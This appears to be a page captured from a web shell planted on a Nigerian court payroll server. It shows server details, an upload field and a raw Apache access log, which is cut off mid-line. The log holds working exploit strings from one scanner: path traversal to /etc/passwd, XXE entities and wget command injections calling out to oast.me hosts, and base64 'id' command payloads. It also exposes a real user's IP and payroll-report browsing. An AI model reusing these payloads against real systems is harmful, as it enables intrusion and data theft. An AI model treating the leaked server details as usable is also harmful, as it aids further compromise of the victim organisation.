| Server IP : 199.250.214.225 / Your IP : 18.117.100.157 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/access-logs/ |
Upload File : |
45.207.211.133 - - [16/Oct/2024:05:44:41 -0700] "POST /getcfg.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:05:54:52 -0700] "POST /ui/api/v1/ui/auth/login HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/128.0 (x64 de)" 45.207.211.133 - - [16/Oct/2024:05:54:53 -0700] "POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1" 301 299 "-" "Mozilla/5.0 (Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" 45.207.211.133 - - [16/Oct/2024:05:54:54 -0700] "GET /admin?n=language&c=language_general&a=doExportPack HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/admin/?n=language&c=language_general&a=doExportPack" "Mozilla/5.0 (Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" 45.207.211.133 - - [16/Oct/2024:05:55:01 -0700] "POST /apply_sec.cgi HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng" "Mozilla/5.0 (Ubuntu; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0" 45.207.211.133 - - [16/Oct/2024:05:55:01 -0700] "POST /apply_sec.cgi HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/login_pic.asp" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:05:55:02 -0700] "POST /apply_sec.cgi HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/login_pic.asp" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0" 45.207.211.133 - - [16/Oct/2024:05:55:03 -0700] "GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.2.17" 45.207.211.133 - - [16/Oct/2024:06:19:11 -0700] "GET /2nT3eqMUnMlVTbPH5Lv9EfYsQYO/../../ThinVnc.ini HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763" 45.207.211.133 - - [16/Oct/2024:06:19:11 -0700] "GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:11 -0700] "GET /xmlpserver/convert?xml=<%3fxml+version%3d\"1.0\"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+\"http%3a//cs732uqldbsgkn5irrqg6pqrn96rdhyug.oast.me/xxe.xml\">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Debian; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" 45.207.211.133 - - [16/Oct/2024:06:19:12 -0700] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 404 6579 "npayroll.nicn.gov.ng" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0" 45.207.211.133 - - [16/Oct/2024:06:19:12 -0700] "POST /cgi-bin/file_transfer.cgi HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (ZZ; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" 45.207.211.133 - - [16/Oct/2024:06:19:12 -0700] "POST /dashboard/uploadID.php HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.8.24" 45.207.211.133 - - [16/Oct/2024:06:19:12 -0700] "POST /boafrm/formSysCmd HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:12 -0700] "GET /solr/admin/cores?wt=json HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:13 -0700] "POST /admin/auth/reset-password HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:13 -0700] "POST /xmlpserver/ReportTemplateService.xls HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Kubuntu; Linux i686; rv:123.0) Gecko/20100101 Firefox/123.0" 45.207.211.133 - - [16/Oct/2024:06:19:19 -0700] "POST /pandora_console/index.php?login=1 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0" 45.207.211.133 - - [16/Oct/2024:06:19:19 -0700] "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:20 -0700] "GET /?pum_action=tools_page_tab_system_info HTTP/1.1" 302 382 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0" 45.207.211.133 - - [16/Oct/2024:06:19:20 -0700] "POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:20 -0700] "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:21 -0700] "POST /servlet/UploadServlet HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.6.25" 45.207.211.133 - - [16/Oct/2024:06:19:20 -0700] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363" 45.207.211.133 - - [16/Oct/2024:06:19:22 -0700] "GET /test.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 45.207.211.133 - - [16/Oct/2024:06:19:23 -0700] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:21 -0700] "POST / HTTP/1.1" 405 559163 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:19:29 -0700] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.24" 45.207.211.133 - - [16/Oct/2024:06:19:30 -0700] "POST /_async/AsyncResponseService HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0" 45.207.211.133 - - [16/Oct/2024:06:19:32 -0700] "GET /_async/favicon.ico HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:06:47:49 -0700] "GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://cs732uqldbsgkn5irrqgsx779t8wrwffz.oast.me) HTTP/1.1" 404 6579 "-" "-" 45.207.211.133 - - [16/Oct/2024:06:47:50 -0700] "GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://cs732uqldbsgkn5irrqgwxnbsfe3p4o7g.oast.me%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1" 404 6579 "-" "-" 199.45.154.142 - - [16/Oct/2024:07:00:10 -0700] "GET / HTTP/1.1" 302 398 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 199.45.154.142 - - [16/Oct/2024:07:00:32 -0700] "GET /login HTTP/1.1" 200 5039 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 199.45.154.142 - - [16/Oct/2024:07:00:34 -0700] "GET /favicon.ico HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 154.120.74.202 - - [16/Oct/2024:07:30:26 -0700] "GET /login HTTP/1.1" 200 5039 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:06 -0700] "GET /assets/font-awesome/css/font-awesome.min.css HTTP/1.1" 200 21984 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:06 -0700] "GET /assets/css/select2.min.css HTTP/1.1" 200 15090 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:06 -0700] "GET /assets/css/_all-skins.min.css HTTP/1.1" 200 42005 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:09 -0700] "GET /assets/css/admin.css HTTP/1.1" 200 185 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:06 -0700] "GET /assets/css/bootstrap.min.css HTTP/1.1" 200 121260 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:09 -0700] "GET /assets/js/bootstrap.min.js HTTP/1.1" 200 36868 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:06 -0700] "GET /assets/css/AdminLTE.min.css HTTP/1.1" 200 89579 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:11 -0700] "GET /assets/js/app.min.js HTTP/1.1" 200 9694 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:12 -0700] "GET /assets/js/demo.js HTTP/1.1" 200 17268 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:12 -0700] "GET /assets/js/jquery.slimscroll.min.js HTTP/1.1" 200 6230 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:09 -0700] "GET /assets/js/jQuery-2.2.0.min.js HTTP/1.1" 200 85589 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:23 -0700] "GET /assets/font-awesome/fonts/fontawesome-webfont.woff?v=4.2.0 HTTP/1.1" 200 65452 "https://www.npayroll.nicn.gov.ng/assets/font-awesome/css/font-awesome.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:53 -0700] "POST /login HTTP/1.1" 302 394 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:31:54 -0700] "GET /home HTTP/1.1" 200 14598 "https://www.npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:32:21 -0700] "GET /Images/coat.jpg HTTP/1.1" 200 20800 "https://www.npayroll.nicn.gov.ng/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:32:34 -0700] "GET /Images/new-market-research.gif HTTP/1.1" 200 54901 "https://www.npayroll.nicn.gov.ng/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:33:23 -0700] "GET /judges-yearly/payrollReport HTTP/1.1" 200 19672 "https://www.npayroll.nicn.gov.ng/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:33:50 -0700] "GET /favicon.ico HTTP/1.1" 200 - "https://www.npayroll.nicn.gov.ng/judges-yearly/payrollReport" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:34:05 -0700] "GET /judge-payroll/report HTTP/1.1" 200 20929 "https://www.npayroll.nicn.gov.ng/judges-yearly/payrollReport" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:35:21 -0700] "POST /judge-payroll/report HTTP/1.1" 200 5430 "https://www.npayroll.nicn.gov.ng/judge-payroll/report" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:35:55 -0700] "GET /judge-payroll/images/nicn_bg.jpg HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/judge-payroll/report" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:35:59 -0700] "GET /judge-payroll/images/favicon.ico HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/judge-payroll/report" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:36:57 -0700] "GET /judge-payroll/report HTTP/1.1" 200 20929 "https://www.npayroll.nicn.gov.ng/judges-yearly/payrollReport" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:37:06 -0700] "GET /judges-payroll/summary HTTP/1.1" 200 20976 "https://www.npayroll.nicn.gov.ng/judge-payroll/report" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:37:06 -0700] "GET /judges-payroll/summary HTTP/1.1" 200 20976 "https://www.npayroll.nicn.gov.ng/judge-payroll/report" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:38:07 -0700] "POST /judges-payroll/summary HTTP/1.1" 200 12920 "https://www.npayroll.nicn.gov.ng/judges-payroll/summary" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:38:08 -0700] "GET /assets/js/number_to_word.js HTTP/1.1" 200 1867 "https://www.npayroll.nicn.gov.ng/judges-payroll/summary" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:38:08 -0700] "GET /judges-payroll/images/nicn_bg.jpg HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/judges-payroll/summary" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:38:09 -0700] "GET /judges-payroll/images/favicon.ico HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/judges-payroll/summary" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:39:59 -0700] "GET /judges-payroll/summary HTTP/1.1" 200 20976 "https://www.npayroll.nicn.gov.ng/judge-payroll/report" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:40:06 -0700] "GET /judge-payroll/report HTTP/1.1" 200 20929 "https://www.npayroll.nicn.gov.ng/judges-payroll/summary" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:40:39 -0700] "POST /judge-payroll/report HTTP/1.1" 200 5430 "https://www.npayroll.nicn.gov.ng/judge-payroll/report" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 154.120.74.202 - - [16/Oct/2024:07:40:43 -0700] "GET /judge-payroll/images/nicn_bg.jpg HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/judge-payroll/report" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:05:14 -0700] "POST /getcfg.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.2.17" 45.207.211.133 - - [16/Oct/2024:08:06:28 -0700] "POST /adxmlrpc.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:06:28 -0700] "GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:06:37 -0700] "GET /objects/getImage.php?base64Url=YGlkID4gbGFiemEudHh0YA===&format=png HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:06:38 -0700] "GET /objects/getImageMP4.php?base64Url=YGlkID4gbGFiemEudHh0YA===&format=jpg HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:06:38 -0700] "GET /objects/getSpiritsFromVideo.php?base64Url=YGlkID4gbGFiemEudHh0YA===&format=jpg HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:06:39 -0700] "GET /objects/labza.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 138.246.253.24 - - [16/Oct/2024:08:15:06 -0700] "GET /robots.txt HTTP/1.1" 200 24 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:33:10 -0700] "GET /2nT3eqMUnMlVTbPH5Lv9EfYsQYO/../../ThinVnc.ini HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:128.0) Gecko/20100101 Firefox/128.0" 45.207.211.133 - - [16/Oct/2024:08:33:11 -0700] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 404 6579 "www.npayroll.nicn.gov.ng" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 45.207.211.133 - - [16/Oct/2024:08:33:11 -0700] "POST /boafrm/formSysCmd HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/127.0.2 (x64 de)" 45.207.211.133 - - [16/Oct/2024:08:33:11 -0700] "POST /cgi-bin/file_transfer.cgi HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.51" 45.207.211.133 - - [16/Oct/2024:08:33:11 -0700] "GET /xmlpserver/convert?xml=<%3fxml+version%3d\"1.0\"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+\"http%3a//cs732uqldbsgkn5irrqg8ugb1n3r5dm4o.oast.me/xxe.xml\">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:33:11 -0700] "GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0" 45.207.211.133 - - [16/Oct/2024:08:33:12 -0700] "GET /solr/admin/cores?wt=json HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.2.20" 45.207.211.133 - - [16/Oct/2024:08:33:12 -0700] "POST /admin/auth/reset-password HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.4.19" 45.207.211.133 - - [16/Oct/2024:08:33:12 -0700] "POST /xmlpserver/ReportTemplateService.xls HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Knoppix; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0" 45.207.211.133 - - [16/Oct/2024:08:33:13 -0700] "POST /dashboard/uploadID.php HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0" 45.207.211.133 - - [16/Oct/2024:08:33:17 -0700] "POST /servlet/UploadServlet HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:33:18 -0700] "GET /test.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" 45.207.211.133 - - [16/Oct/2024:08:33:18 -0700] "POST /pandora_console/index.php?login=1 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" 45.207.211.133 - - [16/Oct/2024:08:33:18 -0700] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:33:19 -0700] "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:33:19 -0700] "POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Kubuntu; Linux i686; rv:123.0) Gecko/20100101 Firefox/123.0" 45.207.211.133 - - [16/Oct/2024:08:33:19 -0700] "GET /?pum_action=tools_page_tab_system_info HTTP/1.1" 302 398 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0" 45.207.211.133 - - [16/Oct/2024:08:33:20 -0700] "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0" 45.207.211.133 - - [16/Oct/2024:08:33:20 -0700] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_3; en-US) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.4 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:08:33:20 -0700] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_1_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.5 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:08:33:21 -0700] "POST /_async/AsyncResponseService HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like 